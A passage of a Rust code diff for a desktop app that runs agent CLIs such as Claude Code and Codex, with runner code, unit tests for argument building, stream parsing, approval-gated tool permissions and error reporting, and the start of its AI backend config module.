Some(remediation), log } + } + + fn error_event(&self, agent: &str, e: ToolError) -> AgentEvent { + let details = e.details.as_ref().map(ToString::to_string); + let text = match details { + Some(d) => format!("{}\n{d}", e.message), + None => e.message.clone(), + }; + let (log, unsaved) = self.save_with(agent, None, None, Some(&text)); + let remediation = match (e.remediation, unsaved) { + (Some(r), Some(u)) => Some(format!("{r}\n\n{u}")), + (r, u) => r.or(u), + }; + AgentEvent::Error { message: e.message, remediation, log } + } +} + +impl Conversation for CliConversation { + fn session_id(&self) -> Option { + CliConversation::session_id(self) + } + + fn send(&mut self, text: &str) { + if self.busy.swap(true, Ordering::SeqCst) { + let _ = self.tx.send(AgentEvent::Error { + message: "Still working on the last message.".into(), + remediation: Some("Wait for it to finish or press stop.".into()), + log: None, + }); + return; + } + self.stop.reset(); + let (spec, tx, stop, busy, session, verified) = + (self.spec.clone(), self.tx.clone(), self.stop.clone(), self.busy.clone(), self.session.clone(), self.verified.clone()); + let text = text.to_string(); + let spawned = std::thread::Builder::new().name("ai-cli".into()).spawn(move || { + let r = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| run_cli(&spec, &text, &tx, &stop, &session, &verified))); + if r.is_err() { + let _ = tx.send(AgentEvent::Error { message: "The agent runner hit a bug and stopped safely.".into(), remediation: None, log: None }); + let _ = tx.send(AgentEvent::TurnDone { + backend: spec.config.name.clone(), + input_tokens: 0, + output_tokens: 0, + cost_usd: None, + cost_is_estimate: false, + }); + } + busy.store(false, Ordering::SeqCst); + }); + if spawned.is_err() { + self.busy.store(false, Ordering::SeqCst); + let _ = self.tx.send(AgentEvent::Error { message: "Couldn't start a worker thread.".into(), remediation: None, log: None }); + } + } + + fn poll(&mut self) -> Vec { + self.rx.try_iter().collect() + } + + /// Agent CLIs ask for approval through their own UI; our MCP server refuses consent-gated + /// tools unless it was started with `--allow-run`. + fn answer_consent(&mut self, _call_id: &str, _allow: bool) {} + + fn stop(&mut self) { + self.stop.stop(); + } + + fn is_busy(&self) -> bool { + self.busy.load(Ordering::SeqCst) + } +} + +impl Drop for CliConversation { + fn drop(&mut self) { + self.stop.stop(); + } +} + +#[cfg(test)] +mod tests { + use super::*; + + /// Over SSH our environment doesn't reach the other computer, so the chosen effort (and Claude + /// Code's raised limits) go in the remote command itself. + #[test] + fn an_agent_over_ssh_gets_its_effort_on_the_other_computer() { + let env = agent_env(true, Some(crate::model::Effort::Max)); + assert!(env.contains(&("CLAUDE_CODE_EFFORT_LEVEL", "max".to_string()))); + assert!(env.contains(&("CLAUDE_CODE_MCP_AUTO_BACKGROUND_MS", "0".to_string()))); + let cmd = remote_command("claude", vec!["-p".into(), "hi".into()], &env); + assert_eq!(cmd.first().map(String::as_str), Some("env")); + assert!(cmd.contains(&"CLAUDE_CODE_EFFORT_LEVEL=max".to_string())); + assert_eq!(cmd[cmd.len() - 3..], ["claude", "-p", "hi"]); + let line = crate::ssh::ssh_args("box", &cmd).pop().unwrap_or_default(); + assert!(line.starts_with("env ") && line.contains("CLAUDE_CODE_EFFORT_LEVEL=max") && line.ends_with("claude -p hi"), "{line}"); + assert!(agent_env(false, None).contains(&("CLAUDE_CODE_EFFORT_LEVEL", "high".to_string())), "high unless chosen"); + } + use crate::BackendKind; + + fn mcp() -> McpCommand { + McpCommand { command: "/opt/ca/craft-anything-cli".into(), args: vec!["mcp".into(), "--project".into(), "/p/x.cany".into()], notes: None } + } + + #[test] + fn claude_args() { + let a = build_args(adapter_for("claude-code").as_ref(), &BackendOptions::default(), "-what?", "PRE", &mcp(), Some("sess-1"), Access::Analyse); + assert_eq!(a[0], "-p"); + // #402: the message goes in on stdin, so a long one can't pass Windows' command-line limit. + assert!(adapter_for("claude-code").prompt_on_stdin() && !a.iter().any(|x| x.contains("what?")), "{a:?}"); + let pos = |f: &str| a.iter().position(|x| x == f).unwrap(); + assert_eq!(a[pos("--output-format") + 1], "stream-json"); + assert!(a.contains(&"--verbose".to_string())); + assert_eq!(a[pos("--resume") + 1], "sess-1"); + assert_eq!(a[pos("--allowedTools") + 1], "mcp__craft-anything__*"); + assert_eq!(a[pos("--model") + 1], "claude-opus-5-5", "Opus 5.5 unless configured otherwise"); + let o = BackendOptions { cli_model: Some("opus".into()), ..Default::default() }; + let b = build_args(adapter_for("claude-code").as_ref(), &o, "q", "PRE", &mcp(), None, Access::Analyse); + assert_eq!(b[b.iter().position(|x| x == "--model").unwrap() + 1], "opus"); + let cfg: Value = serde_json::from_str(&a[pos("--mcp-config") + 1]).unwrap(); + assert_eq!(cfg["mcpServers"]["craft-anything"]["args"][0], "mcp"); + // variadic flags come last: nothing after them is read as one of their values + assert!(pos("--mcp-config") > pos("--resume")); + } + + #[test] + fn codex_and_gemini_args() { + let a = build_args(adapter_for("codex").as_ref(), &BackendOptions::default(), "q", "P:", &mcp(), None, Access::Analyse); + assert_eq!(&a[..2], &["exec".to_string(), "--json".to_string()]); + // #69: project folders aren't git repositories; the flag comes once, also when the + // backend's own args already have it. + let skip = |a: &[String]| a.iter().filter(|x| *x == "--skip-git-repo-check").count(); + assert_eq!(skip(&a), 1); + let o = BackendOptions { args: vec!["--skip-git-repo-check".into()], ..Default::default() }; + assert_eq!(skip(&build_args(adapter_for("codex").as_ref(), &o, "q", "P:", &mcp(), None, Access::Build)), 1); + assert!(a.contains(&"mcp_servers.craft-anything.command=\"/opt/ca/craft-anything-cli\"".to_string())); + assert!(a.contains(&"mcp_servers.craft-anything.args=[\"mcp\", \"--project\", \"/p/x.cany\"]".to_string())); + assert_eq!(a.last().unwrap(), "P:q"); + let g = build_args(adapter_for("gemini-cli").as_ref(), &BackendOptions::default(), "q", "", &mcp(), None, Access::Analyse); + assert!(g.windows(2).any(|w| w[0] == "--output-format" && w[1] == "stream-json")); + let o = BackendOptions { args: vec!["run".into()], ..Default::default() }; + assert_eq!(build_args(adapter_for("aider").as_ref(), &o, "q", "", &mcp(), None, Access::Analyse), vec!["run".to_string(), "q".to_string()]); + } + + #[test] + fn nested_session_variables_are_dropped_but_user_settings_kept() { + let v = |names: &[&str]| names.iter().map(|s| s.to_string()).collect::>().into_iter(); + assert!(host_session_vars(v(&["CLAUDE_CODE_ENTRYPOINT", "PATH"])).is_empty(), "outside a session nothing is touched"); + let mut dropped = host_session_vars(v(&[ + "CLAUDECODE", + "CLAUDE_CODE_SDK_HAS_HOST_AUTH_REFRESH", + "CLAUDE_CODE_SESSION_ID", + "CLAUDE_AGENT_SDK_VERSION", + "CLAUDE_CODE_USE_BEDROCK", + "CLAUDE_CONFIG_DIR", + "ANTHROPIC_API_KEY", + "PATH", + ])); + dropped.sort(); + assert_eq!(dropped, ["CLAUDECODE", "CLAUDE_AGENT_SDK_VERSION", "CLAUDE_CODE_SDK_HAS_HOST_AUTH_REFRESH", "CLAUDE_CODE_SESSION_ID"]); + } + + fn failed(code: i32, stderr: &str) -> craft_anything_platform::Output { + craft_anything_platform::Output { + code: Some(code), + success: false, + stdout: Vec::new(), + stderr: stderr.as_bytes().to_vec(), + stdout_truncated: false, + stderr_truncated: false, + duration: Duration::from_millis(400), + } + } + + fn context(host: Option<&str>, logs: Option) -> FailureContext { + let config = BackendConfig { + name: "Mine".into(), + kind: BackendKind::AgentCli, + model: "claude-code".into(), + base_url: None, + ssh_host: host.map(str::to_string), + enabled: true, + }; + let spec = CliSpec { logs, ..CliSpec::new(config, BackendOptions::default(), false, None) }; + let args = ["-p".to_string(), "PRE private plans for my app".to_string(), "--verbose".to_string()]; + FailureContext::new("claude", &args, "private plans for my app", host, &spec) + } + + #[test] + fn a_failed_ssh_run_says_what_happened_and_saves_a_log() { + let dir = tempfile::tempdir().unwrap(); + let ev = context(Some("github.com"), Some(dir.path().to_path_buf())).exit_event("claude-code", &failed(255, "exec request failed on channel 0\n")); + let AgentEvent::Error { message, remediation, log } = ev else { panic!("not an error") }; + let help = remediation.unwrap(); + assert!(message.contains("Couldn't run Claude Code on github.com: github.com is a git server"), "{message}"); + assert!(help.contains("exec request failed on channel 0") && help.contains("ssh -o BatchMode=yes -T github.com -- claude --version"), "{help}"); + assert!(!help.contains("by hand") && !help.contains("below"), "{help}"); + let text = std::fs::read_to_string(log.unwrap()).unwrap(); + for part in ["Exit code: 255", "exec request failed on channel 0", "git server", "claude --version", "--verbose", "[your message, 24 characters]"] { + assert!(text.contains(part), "{part} is missing from:\n{text}"); + } + assert!(!text.contains("private plans"), "the message stays out of the log:\n{text}"); + } + + #[test] + fn a_failed_local_run_shows_its_output_and_command() { + let dir = tempfile::tempdir().unwrap(); + let ev = context(None, Some(dir.path().to_path_buf())).exit_event("claude-code", &failed(3, "first\nreal reason\n")); + let AgentEvent::Error { message, remediation, log } = ev else { panic!("not an error") }; + let help = remediation.unwrap(); + assert!(message.contains("exit code 3: real reason"), "{message}"); + assert!(help.contains("first\nreal reason") && help.contains("claude -p '[your message, 24 characters]' --verbose"), "{help}"); + assert!(log.is_some()); + } + + #[test] + fn without_a_log_folder_nothing_is_written_and_a_failed_write_is_reported() { + let ev = context(None, None).exit_event("claude-code", &failed(1, "x")); + assert!(matches!(ev, AgentEvent::Error { log: None, .. })); + let dir = tempfile::tempdir().unwrap(); + let file = dir.path().join("a-file"); + std::fs::write(&file, "").unwrap(); + let AgentEvent::Error { remediation, log, .. } = context(None, Some(file)).exit_event("claude-code", &failed(1, "x")) else { panic!("not an error") }; + assert!(log.is_none()); + assert!(remediation.unwrap().contains("The details couldn't be saved")); + } + + #[test] + fn sign_in_failures_get_a_plain_fix() { + let mut p = StreamParser::new(adapter_for("claude-code")); + let ev = p.line(&json!({"type":"result","subtype":"success","is_error":true,"result":"Failed to authenticate: OAuth session expired"}).to_string()); + match &ev[0] { + AgentEvent::Error { message, remediation, .. } => { + assert_eq!(message, "Claude Code stopped: Failed to authenticate: OAuth session expired"); + assert!(remediation.as_deref().unwrap_or_default().contains("claude auth login")); + } + other => panic!("{other:?}"), + } + assert!(sign_in_hint("rate limited").is_none()); + // #165: an install too old for the model says so, and how to update it. + let raw = + r#"API Error: 400 {"type":"error","error":{"type":"invalid_request_error","message":"Claude Code 2.1.81 does not support this model; version 2"}}"#; + let (message, fix) = claude_code_failure(raw); + assert!(message.starts_with("Claude Code is too old for the model it was asked to use") && message.contains("2.1.81"), "{message}"); + let fix = fix.unwrap_or_default(); + assert!(fix.contains("claude update") && fix.contains("desktop app") && fix.contains("Settings → AI"), "{fix}"); + assert_eq!(claude_code_failure("rate limited"), ("Claude Code stopped: rate limited".to_string(), None)); + } + + #[test] + fn builder_args_route_permissions_and_questions_to_us() { + let a = build_args(adapter_for("claude-code").as_ref(), &BackendOptions::default(), "build it", "PRE", &mcp(), None, Access::Build); + let pos = |f: &str| a.iter().position(|x| x == f).unwrap(); + assert_eq!(a[pos("--permission-prompt-tool") + 1], "mcp__craft-anything__core_action_approve"); + assert_eq!(a[pos("--disallowedTools") + 1], "AskUserQuestion"); + assert!(a[pos("--allowedTools")..].contains(&"Read".to_string())); + assert!(!a.iter().any(|x| x == "Write" || x == "Bash"), "writes and commands always go through the approval tool"); + let analysis = build_args(adapter_for("claude-code").as_ref(), &BackendOptions::default(), "q", "PRE", &mcp(), None, Access::Analyse); + assert!(!analysis.contains(&"--permission-prompt-tool".to_string())); + // A local builder gets the hook that hands over notes at its next step; analysis runs don't. + assert!(!a.contains(&"--settings".to_string()), "no notes folder, no hook"); + let local = McpCommand { notes: Some(PathBuf::from(r"C:\p\inbox\notes")), ..mcp() }; + let b = build_args(adapter_for("claude-code").as_ref(), &BackendOptions::default(), "build it", "PRE", &local, None, Access::Build); + let settings: serde_json::Value = serde_json::from_str(&b[b.iter().position(|x| x == "--settings").unwrap() + 1]).unwrap(); + let hook = &settings["hooks"]["PostToolUse"][0]; + assert_eq!(hook["matcher"], "*"); + assert_eq!(hook["hooks"][0]["command"], "\"/opt/ca/craft-anything-cli\" builder-notes \"C:/p/inbox/notes\""); + let no_hook = build_args(adapter_for("claude-code").as_ref(), &BackendOptions::default(), "q", "PRE", &local, None, Access::Analyse); + assert!(!no_hook.contains(&"--settings".to_string())); + assert!(McpCommand::local_or_remote(true, None, Some(PathBuf::from("/p/inbox"))).notes.is_none(), "a remote builder can't reach this computer's files"); + let m = McpCommand::local_or_remote(false, Some("/p/inv.cany".into()), Some("/p/inbox".into())); + assert!(m.args.windows(2).any(|w| w[0] == "--inbox" && w[1] == "/p/inbox")); + assert!(!McpCommand::local_or_remote(true, None, Some("/p/inbox".into())).args.contains(&"--inbox".to_string())); + } + + #[test] + fn a_question_reads_a_copy_of_the_builders_session_and_changes_nothing() { + let q = build_args(adapter_for("claude-code").as_ref(), &BackendOptions::default(), "where?", "PRE", &mcp(), Some("sess-1"), Access::Question); + let has = |a: &[String], x: &str| a.iter().any(|y| y == x); + assert!(q.windows(3).any(|w| w[0] == "--resume" && w[1] == "sess-1" && w[2] == "--fork-session"), "a copy, never the session itself: {q:?}"); + assert!(has(&q, "--no-session-persistence") && has(&q, "--strict-mcp-config")); + assert!(!has(&q, "--mcp-config") && !has(&q, "--permission-prompt-tool"), "no tool server: {q:?}"); + let refused = &q[q.iter().position(|x| x == "--disallowedTools").unwrap()..]; + for t in ["Write", "Edit", "Bash", "PowerShell", "WebFetch"] { + assert!(has(refused, t), "{t} is refused"); + } + let allowed = &q[q.iter().position(|x| x == "--allowedTools").unwrap()..]; + assert_eq!(&allowed[1..], ["Read", "Glob", "Grep"]); + // Clean room: no file tools at all; no session: a fresh one, still not kept. + let clean = build_args(adapter_for("claude-code").as_ref(), &BackendOptions::default(), "where?", "PRE", &mcp(), None, Access::CleanRoomQuestion); + assert!(!has(&clean, "--allowedTools") && !has(&clean, "--fork-session") && has(&clean, "--no-session-persistence")); + // Only agents that can be held to reading are asked. + assert!(adapter_for("claude-code").answers_questions()); + assert!(!adapter_for("codex").answers_questions() && !adapter_for("gemini-cli").answers_questions() && !adapter_for("aider").answers_questions()); + } + + #[test] + fn a_clean_room_builder_reads_through_us_and_a_deep_one_sees_every_tool() { + let clean = build_args(adapter_for("claude-code").as_ref(), &BackendOptions::default(), "build it", "PRE", &mcp(), None, Access::CleanRoomBuild); + let allowed = &clean[clean.iter().position(|x| x == "--allowedTools").unwrap()..]; + assert!(allowed.contains(&"TodoWrite".to_string())); + assert!(!["Read", "Glob", "Grep"].iter().any(|t| allowed.contains(&t.to_string())), "every read goes through the approval tool: {allowed:?}"); + let spec = |deep, builder: bool| CliSpec { + deep, + builder: builder.then(|| Builder { investigation: None, inbox: PathBuf::from("/p/inbox") }), + ..CliSpec::new( + BackendConfig { + name: "Claude".into(), + kind: BackendKind::AgentCli, + model: "claude-code".into(), + base_url: None, + ssh_host: None, + enabled: true, + }, + BackendOptions::default(), + false, + None, + ) + }; + let args = |deep, builder| mcp_for(&spec(deep, builder), false).args; + assert!(args(true, true).contains(&"--all-tools".to_string()) && args(true, true).contains(&"--deep".to_string())); + assert!(!args(false, true).contains(&"--all-tools".to_string()) && args(false, true).contains(&"--clean-room".to_string())); + // A chat's server runs in the chat's mode too, whatever was saved. + assert!(args(true, false).contains(&"--deep".to_string()) && !args(true, false).contains(&"--all-tools".to_string())); + assert!(args(false, false).contains(&"--clean-room".to_string())); + } + + #[test] + fn parses_claude_stream() { + let ev = format!("ev_{}", "a".repeat(64)); + let lines = [ + json!({"type":"system","subtype":"init","session_id":"s1"}).to_string(), + json!({"type":"assistant","message":{"content":[{"type":"text","text":"Looking"},{"type":"tool_use","id":"t1","name":"mcp__craft-anything__core_session_show","input":{}}]}}).to_string(), + json!({"type":"user","message":{"content":[{"type":"tool_result","tool_use_id":"t1","content":[{"type":"text","text":format!("{{\"evidence_id\":\"{ev}\"}}")}]}]}}).to_string(), + json!({"type":"result","subtype":"success","is_error":false,"total_cost_usd":0.12,"usage":{"input_tokens":5,"cache_read_input_tokens":5,"output_tokens":7}}).to_string(), + "not json warning".to_string(), + ]; + let mut p = StreamParser::new(adapter_for("claude-code")); + let events: Vec = lines.iter().flat_map(|l| p.line(l)).collect(); + assert_eq!(p.session_id.as_deref(), Some("s1")); + assert!(matches!(&events[0], AgentEvent::TextDelta { text } if text == "Looking")); + assert!(matches!(&events[1], AgentEvent::ToolStarted { tool, .. } if tool == "core_session_show")); + assert!(matches!(&events[2], AgentEvent::ToolFinished { tool, ok: true, evidence_id: Some(id), .. } if tool == "core_session_show" && *id == ev)); + assert!(matches!(&events[3], AgentEvent::Status { .. })); + assert_eq!((p.input_tokens, p.output_tokens, p.cost_usd), (10, 7, Some(0.12))); + } + + #[test] + fn parses_codex_and_gemini_streams() { + let mut p = StreamParser::new(adapter_for("codex")); + let mut ev = Vec::new(); + for l in [ + json!({"type":"thread.started","thread_id":"th"}), + json!({"type":"item.started","item":{"id":"i1","type":"mcp_tool_call","server":"craft-anything","tool":"core_target_open","arguments":{"path":"/bin/ls"}}}), + json!({"type":"item.completed","item":{"id":"i1","type":"mcp_tool_call","tool":"core_target_open","status":"completed","result":{"ok":true}}}), + json!({"type":"item.completed","item":{"id":"i2","type":"agent_message","text":"It lists files."}}), + json!({"type":"turn.completed","usage":{"input_tokens":3,"output_tokens":4}}), + ] { + ev.extend(p.line(&l.to_string())); + } + assert!(matches!(&ev[0], AgentEvent::ToolStarted { tool, .. } if tool == "core_target_open")); + assert!(matches!(&ev[1], AgentEvent::ToolFinished { ok: true, .. })); + assert!(matches!(&ev[2], AgentEvent::TextDelta { text } if text.starts_with("It lists"))); + assert!(p.saw_result && p.output_tokens == 4); + let mut g = StreamParser::new(adapter_for("gemini-cli")); + let ev: Vec<_> = [ + json!({"type":"message","role":"assistant","content":"Hi","delta":true}), + json!({"type":"tool_use","tool_name":"craft-anything__core_targets_list","tool_id":"x","parameters":{}}), + json!({"type":"tool_result","tool_id":"x","status":"error","output":"boom"}), + ] + .iter() + .flat_map(|l| g.line(&l.to_string())) + .collect(); + assert!(matches!(&ev[1], AgentEvent::ToolStarted { tool, .. } if tool == "core_targets_list")); + assert!(matches!(&ev[2], AgentEvent::ToolFinished { ok: false, .. })); + } + + #[cfg(unix)] + #[test] + fn generic_cli_runs_through_owned_process_and_streams_text() { + // `echo` stands in for an unknown agent CLI: prompt via argv, stdout as text. + let spec = CliSpec::new( + BackendConfig { name: "Echo".into(), kind: BackendKind::AgentCli, model: "echo".into(), base_url: None, ssh_host: None, enabled: true }, + BackendOptions::default(), + true, + None, + ); + let mut c = CliConversation::new(spec); + c.send("hello there"); + let deadline = std::time::Instant::now() + Duration::from_secs(10); + let mut all = Vec::new(); + while std::time::Instant::now() < deadline && !all.iter().any(|e| matches!(e, AgentEvent::TurnDone { .. })) { + all.extend(c.poll()); + std::thread::sleep(Duration::from_millis(10)); + } + let text: String = all.iter().filter_map(|e| if let AgentEvent::TextDelta { text } = e { Some(text.clone()) } else { None }).collect(); + assert!(text.contains("hello there"), "{all:?}"); + assert!(text.contains("Request"), "preamble is passed too"); + } + + /// #402: a 34,641-character message in argv passed Windows' command-line limit (os error 206); + /// Claude Code reads it from stdin instead. + #[cfg(unix)] + #[test] + fn claude_code_reads_a_long_message_on_stdin() { + use std::os::unix::fs::PermissionsExt; + let dir = tempfile::tempdir().unwrap(); + let program = dir.path().join("claude"); + let reply = r#"{"type":"assistant","message":{"content":[{"type":"text","text":"read %s bytes"}]}}\n"#; + std::fs::write(&program, format!("#!/bin/sh\nn=$(wc -c)\nprintf '{reply}' $n\n")).unwrap(); + std::fs::set_permissions(&program, std::fs::Permissions::from_mode(0o755)).unwrap(); + let config = + BackendConfig { name: "Claude".into(), kind: BackendKind::AgentCli, model: "claude-code".into(), base_url: None, ssh_host: None, enabled: true }; + let options = BackendOptions { command: Some(program.display().to_string()), ..Default::default() }; + let mut c = CliConversation::new(CliSpec::new(config, options, false, None)); + c.send(&"a".repeat(40_000)); + let deadline = std::time::Instant::now() + Duration::from_secs(10); + let mut all = Vec::new(); + while std::time::Instant::now() < deadline && !all.iter().any(|e| matches!(e, AgentEvent::TurnDone { .. })) { + all.extend(c.poll()); + std::thread::sleep(Duration::from_millis(10)); + } + let text: String = all.iter().filter_map(|e| if let AgentEvent::TextDelta { text } = e { Some(text.clone()) } else { None }).collect(); + assert_eq!(text, "read 40000 bytes", "{all:?}"); + } + + /// #91: a Mac app with no CLI beside it reached Claude Code, which stopped with a stack trace. + #[test] + fn a_missing_or_broken_helper_is_said_plainly() { + let stop = CancelToken::default(); + let none = cli_can_start(None, &stop).unwrap_err(); + assert!(none.message.contains("craft-anything-cli") && none.message.contains("missing"), "{none:?}"); + assert!(none.remediation.as_deref().is_some_and(|r| r.contains("Install the latest")), "{none:?}"); + + let dir = tempfile::tempdir().unwrap(); + let gone = cli_can_start(Some(&dir.path().join("craft-anything-cli")), &stop).unwrap_err(); + assert!(gone.message.contains("wouldn't start"), "{gone:?}"); + assert!(gone.remediation.is_some()); + } + + #[cfg(unix)] + #[test] + fn a_helper_is_judged_by_whether_it_runs() { + use std::os::unix::fs::PermissionsExt; + let dir = tempfile::tempdir().unwrap(); + let helper = |name: &str, script: &str| { + let p = dir.path().join(name); + std::fs::write(&p, script).unwrap(); + std::fs::set_permissions(&p, std::fs::Permissions::from_mode(0o755)).unwrap(); + p + }; + let stop = CancelToken::default(); + assert!(cli_can_start(Some(&helper("good", "#!/bin/sh\necho 1.0\n")), &stop).is_ok()); + let bad = cli_can_start(Some(&helper("bad", "#!/bin/sh\nexit 3\n")), &stop).unwrap_err(); + assert!(bad.message.contains("exited with code 3"), "{bad:?}"); + } + + /// Stopping a build doesn't wait for a helper that hangs, and reads as stopped, not as broken. + #[cfg(unix)] + #[test] + fn stopping_ends_the_check_of_a_hung_helper() { + use std::os::unix::fs::PermissionsExt; + let dir = tempfile::tempdir().unwrap(); + let hung = dir.path().join("hung"); + std::fs::write(&hung, "#!/bin/sh\nexec sleep 25\n").unwrap(); + std::fs::set_permissions(&hung, std::fs::Permissions::from_mode(0o755)).unwrap(); + let stop = CancelToken::default(); + let stopper = stop.clone(); + std::thread::spawn(move || { + std::thread::sleep(Duration::from_millis(200)); + stopper.cancel(); + }); + let began = std::time::Instant::now(); + let e = cli_can_start(Some(&hung), &stop).unwrap_err(); + assert_eq!(e.code, ErrorCode::Cancelled, "{e:?}"); + assert!(began.elapsed() < Duration::from_secs(10), "it waited for the helper: {:?}", began.elapsed()); + } + + /// Agents that are never handed the tool server build without the helper. + #[test] + fn only_agents_handed_the_tool_server_need_the_helper() { + for agent in ["gemini-cli", "aider", "no-such-agent"] { + assert!(check_builder_tools(adapter_for(agent).as_ref(), agent, &BackendOptions::default(), &CancelToken::default()).is_ok(), "{agent}"); + } + } + + #[test] + fn missing_cli_is_a_clear_error() { + let spec = CliSpec::new( + BackendConfig { + name: "Nope".into(), + kind: BackendKind::AgentCli, + model: "no-such-agent-cli-xyz".into(), + base_url: None, + ssh_host: None, + enabled: true, + }, + BackendOptions::default(), + false, + None, + ); + let mut c = CliConversation::new(spec); + c.send("x"); + let deadline = std::time::Instant::now() + Duration::from_secs(10); + let mut all = Vec::new(); + while std::time::Instant::now() < deadline && !all.iter().any(|e| matches!(e, AgentEvent::TurnDone { .. })) { + all.extend(c.poll()); + std::thread::sleep(Duration::from_millis(10)); + } + assert!(all.iter().any(|e| matches!(e, AgentEvent::Error { message, .. } if message.contains("isn't installed"))), "{all:?}"); + } + + /// #199: plain `codex ` is its interactive TUI ("stdin is not a terminal"), so a + /// failed check of `codex exec --help` keeps Codex's own adapter. + #[test] + fn codex_is_never_run_plain() { + assert!(!adapter_for("codex").plain_fallback() && adapters::Plain.plain_fallback()); + let options = BackendOptions { command: Some("no-such-codex-xyz".into()), ..Default::default() }; + let config = BackendConfig { name: "Codex".into(), kind: BackendKind::AgentCli, model: "codex".into(), base_url: None, ssh_host: None, enabled: true }; + let mut c = CliConversation::new(CliSpec::new(config, options, false, None)); + c.send("What does this program do?"); + let deadline = std::time::Instant::now() + Duration::from_secs(10); + let mut all = Vec::new(); + while std::time::Instant::now() < deadline && !all.iter().any(|e| matches!(e, AgentEvent::TurnDone { .. })) { + all.extend(c.poll()); + std::thread::sleep(Duration::from_millis(10)); + } + let said = |w: &str| all.iter().any(|e| matches!(e, AgentEvent::Status { text } if text.contains(w))); + assert!(said("trying it anyway") && !said("plain adapter"), "{all:?}"); + } + + /// A fork's own agent: JSON lines of `{"say": …}`, registered under its id. + struct EchoAgent; + impl AgentAdapter for EchoAgent { + fn ids(&self) -> &'static [&'static str] { + &["echo-agent"] + } + fn args(&self, cx: &ArgsCx) -> Vec { + vec!["--json".into(), cx.prompt.to_string()] + } + fn parse(&self, _p: &mut StreamParser, v: &Value) -> Vec { + v.get("say").and_then(Value::as_str).map(|t| AgentEvent::TextDelta { text: t.into() }).into_iter().collect() + } + } + + #[test] + fn a_registered_adapter_drives_its_agent_and_unknown_ones_get_plain() { + let mut reg = AgentAdapters::built_in(); + reg.register(Arc::new(EchoAgent)); + let echo = reg.for_agent("echo-agent"); + assert_eq!(build_args(echo.as_ref(), &BackendOptions::default(), "hi", "", &mcp(), None, Access::Analyse), ["--json", "hi"]); + let mut p = StreamParser::new(echo); + assert!(matches!(p.line(r#"{"say":"hello"}"#).as_slice(), [AgentEvent::TextDelta { text }] if text == "hello")); + // Unknown agents stream their output as text; the built-ins keep their own adapters. + assert!(!reg.for_agent("aider").streams_json()); + assert!(reg.for_agent("claude").resumes() && !reg.for_agent("codex").resumes() && reg.for_agent("antigravity").resumes()); + // Registering an adapter for an existing id replaces that one. + reg.register(Arc::new(EchoAgent)); + assert_eq!(format!("{reg:?}"), r#"["claude-code", "codex", "gemini-cli", "opencode", "antigravity", "hermes", "maki", "echo-agent"]"#); + } +} diff --git a/desktop/crates/ai/src/config.rs b/desktop/crates/ai/src/config.rs new file mode 100644 index 0000000..e0d9065 --- /dev/null +++ b/desktop/crates/ai/src/config.rs @@ -0,0 +1,313 @@ +//! The `[ai]` table of `config.toml`: backends, roles, the fallback chain and price overrides. +//! +//! ```toml +//! [ai] +//! fallback_chain = ["Claude", "OpenRouter", "Local Llama"] +//! +//! [[ai.backends]] +//! name = "Claude" +//! kind = "anthropic" +//! model = "claude-opus-5-5" +//! effort = "high" +//! +//! [ai.roles] +//! lead = "Claude" +//! worker = "Local Llama" +//! +//! [ai.prices."my-model"] +//! input_per_mtok = 1.0 +//! output_per_mtok = 2.0 +//! ``` + +use crate::model::Effort; +use crate::{BackendConfig, BackendKind, Role}; +use craft_anything_engine::Settings; +use craft_anything_evidence::{ErrorCode, ToolError}; +use serde::{Deserialize, Serialize}; +use std::collections::BTreeMap; + +/// Per-backend options beyond [`BackendConfig`]. +#[derive(Debug, Clone, Default, PartialEq, Serialize, Deserialize)] +#[serde(default)] +pub struct BackendOptions { + /// Thinking depth (`low`/`medium`/`high`/`xhigh`/`max`) for the Claude API and Claude Code; + /// `high` unless set. A model without the level gets the nearest one below it. + #[serde(skip_serializing_if = "Option::is_none")] + pub effort: Option, + /// Anthropic server-side fallbacks (default on). + #[serde(skip_serializing_if = "Option::is_none")] + pub fallbacks_enabled: Option, + /// Force the ReAct text protocol (models without tool calling). + #[serde(skip_serializing_if = "Option::is_none")] + pub react_fallback: Option, + /// Most model turns per user message. + #[serde(skip_serializing_if = "Option::is_none")] + pub max_turns: Option, + /// Agent CLIs: the program to run instead of the default for `model`. + #[serde(skip_serializing_if = "Option::is_none")] + pub command: Option, + /// Agent CLIs: extra arguments placed before the prompt. + #[serde(skip_serializing_if = "Vec::is_empty")] + pub args: Vec, + /// Agent CLIs: the model to ask the CLI for (passed with its model flag when it has one). + #[serde(skip_serializing_if = "Option::is_none")] + pub cli_model: Option, + /// Wall-clock limit in seconds for one agent CLI turn (default: 24 hours for a builder, which may + /// analyse and build a big game; 30 minutes for questions). + #[serde(skip_serializing_if = "Option::is_none")] + pub timeout_secs: Option, + /// Agent CLIs that speak ACP (`cli_agents::acp::ACP_AGENTS`): chat over it, one agent process + /// per conversation (off unless set). + #[serde(skip_serializing_if = "Option::is_none")] + pub acp: Option, +} + +/// One configured backend. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct BackendEntry { + #[serde(flatten)] + pub config: BackendConfig, + #[serde(flatten)] + pub options: BackendOptions, +} + +impl BackendEntry { + /// An agent CLI's `model` names the agent (`opencode`), and the model it should use goes in + /// `cli_model`. People also write the agent's program in `command` and the model in `model` + /// (`command = "opencode"`, `model = "deepseek/deepseek-flash"`); that ran the plain adapter + /// with the agent's own default model (#34). Read that way, it's the agent the command names, + /// asked for that model. + fn model_from_command(&mut self) { + let known = crate::cli_agents::KNOWN; + let model = self.config.model.trim(); + let names_an_agent = known.iter().any(|(id, prog, display)| model == *id || model == *prog || model.eq_ignore_ascii_case(display)); + if self.config.kind != BackendKind::AgentCli || model.is_empty() || names_an_agent { + return; + } + // The file name without `.exe`, whichever system's separators the path uses. + let program = self.options.command.as_deref().and_then(|c| c.trim().rsplit(['/', '\\']).next()).map(|f| f.strip_suffix(".exe").unwrap_or(f)); + let Some((id, _, _)) = program.and_then(|p| known.iter().find(|(_, prog, _)| prog.eq_ignore_ascii_case(p))) else { return }; + if self.options.cli_model.is_none() { + self.options.cli_model = Some(model.to_string()); + } + self.config.model = id.to_string(); + } +} + +/// USD per million tokens. +#[derive(Debug, Clone, Copy, PartialEq, Serialize, Deserialize)] +pub struct Price { + pub input_per_mtok: f64, + pub output_per_mtok: f64, + /// Cache reads; defaults to 10% of input. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub cache_read_per_mtok: Option, + /// Cache writes; defaults to 125% of input. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub cache_write_per_mtok: Option, +} + +/// The whole AI configuration. +#[derive(Debug, Clone, Default, PartialEq, Serialize, Deserialize)] +#[serde(default)] +pub struct AiConfig { + pub 